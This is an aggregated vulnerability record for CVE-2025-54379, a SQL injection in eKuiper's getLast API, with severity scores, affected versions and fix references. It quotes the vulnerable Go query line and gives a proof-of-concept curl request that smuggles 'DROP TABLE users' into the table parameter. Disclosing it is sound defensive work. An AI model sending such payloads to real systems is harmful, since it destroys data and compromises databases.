{"id":"CVE-2025-54379","aliases":["CVE-2025-54379","GHSA-526j-mv3p-f4vv","GO-2025-3827","PYSEC-2025-241"],"related":[],"kind":"vulnerability","state":"published","title":"eKuiper API endpoints handling SQL queries with user-controlled table names.","summary":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. In versions before 2.2.1, there is a critical SQL Injection vulnerability in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise. This is fixed in version 2.2.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. In versions before 2.2.1, there is a critical SQL Injection vulnerability in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise. This is fixed in version 2.2.1.","source":"cvelist"},{"lang":"en","text":"### Summary\nA critical SQL Injection vulnerability exists in the `getLast` API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.\n\n\n### Details\nThe root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using `fmt.Sprintf`, without validating the `table` parameter. Specifically, in:\n\n```go\nquery := fmt.Sprintf(\"SELECT * FROM %s ORDER BY rowid DESC LIMIT 1\", table)\n```\nAny value passed as the `table` parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.\n\n\n### PoC\n1. **Deploy eKuiper instance** (default config is sufficient).\n2. **Send a crafted request to the SQL query endpoint**:\n```bash\n   curl -X POST http://localhost:9081/sql-query \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\n       \"table\": \"sensors; DROP TABLE users; --\",\n       \"operation\": \"getLast\"\n     }'\n```\n3. **Effect**: Executes two SQL queries — the first selects data, the second drops the `users` table.\n4. **Verify Result**:\n```bash\n   sqlite3 etc/kuiper/data/kuiper.db \".tables\"\n```\n\n### Impact\nCWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')\n\n\n### Refferences\n- https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3","format":"markdown","source":"ghsa"},{"lang":"en","text":"eKuiper API endpoints handling SQL queries with user-controlled table names. in github.com/lf-edge/ekuiper","format":"markdown","source":"go"},{"lang":"es","text":"LF Edge eKuiper es un motor ligero de análisis de datos y procesamiento de flujos de IoT que se ejecuta en dispositivos edge con recursos limitados. En versiones anteriores a la 2.2.1, existía una vulnerabilidad crítica de inyección SQL en la API getLast del proyecto eKuiper. Esta falla permite a atacantes remotos no autenticados ejecutar sentencias SQL arbitrarias en la base de datos SQLite subyacente manipulando el nombre de la tabla en una solicitud de API. Su explotación puede provocar el robo, la corrupción o la eliminación de datos, así como la vulneración total de la base de datos. Esto se ha corregido en la versión 2.2.1.","source":"nvd"}],"published":"2025-07-24T14:19:17.000Z","modified":"2026-09-10T03:50:25.742Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":8.9,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 2.2.1","status":"affected"}],"vendor":"lf-edge","product":"ekuiper","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.2.1"}],"ecosystem":"Go","package":"github.com/lf-edge/ekuiper/v2","purl":"pkg:golang/github.com/lf-edge/ekuiper/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.14.7"}],"ecosystem":"Go","package":"github.com/lf-edge/ekuiper","purl":"pkg:golang/github.com/lf-edge/ekuiper","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/lf-edge/ekuiper","purl":"pkg:golang/github.com/lf-edge/ekuiper","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.2.1"}],"ecosystem":"Go","package":"github.com/lf-edge/ekuiper/v2","purl":"pkg:golang/github.com/lf-edge/ekuiper/v2","source":"go"},{"ranges":[{"status":"affected","version":"2.1.5"}],"vendor":"lfedge","product":"ekuiper","cpe":"cpe:2.3:a:lfedge:ekuiper:2.1.5:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.1.5"}],"ecosystem":"PyPI","package":"ekuiper","purl":"pkg:pypi/ekuiper","source":"pysec"}],"references":[{"url":"https://github.com/lf-edge/ekuiper/security/advisories/GHSA-526j-mv3p-f4vv","tags":["advisory","evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","pysec"]},{"url":"https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54379","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/lf-edge/ekuiper","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2025-07-25T13:26:26.765Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54379","url":"https://www.cve.org/CVERecord?id=CVE-2025-54379","licence":"CVE Terms of Use","modified":"2025-07-25T13:26:34.392Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-526j-mv3p-f4vv","url":"https://github.com/advisories/GHSA-526j-mv3p-f4vv","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:25.742Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3827","url":"https://pkg.go.dev/vuln/GO-2025-3827","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:48.172Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54379","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54379","licence":"Public domain","modified":"2026-06-17T09:39:57.217Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2025-241","url":"https://osv.dev/vulnerability/PYSEC-2025-241","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:48.172Z"}],"updatedAt":"2026-11-25T22:59:01.648Z","epss":{"score":0.00874,"percentile":0.6001,"date":"2026-12-01T12:00:22.000Z"}}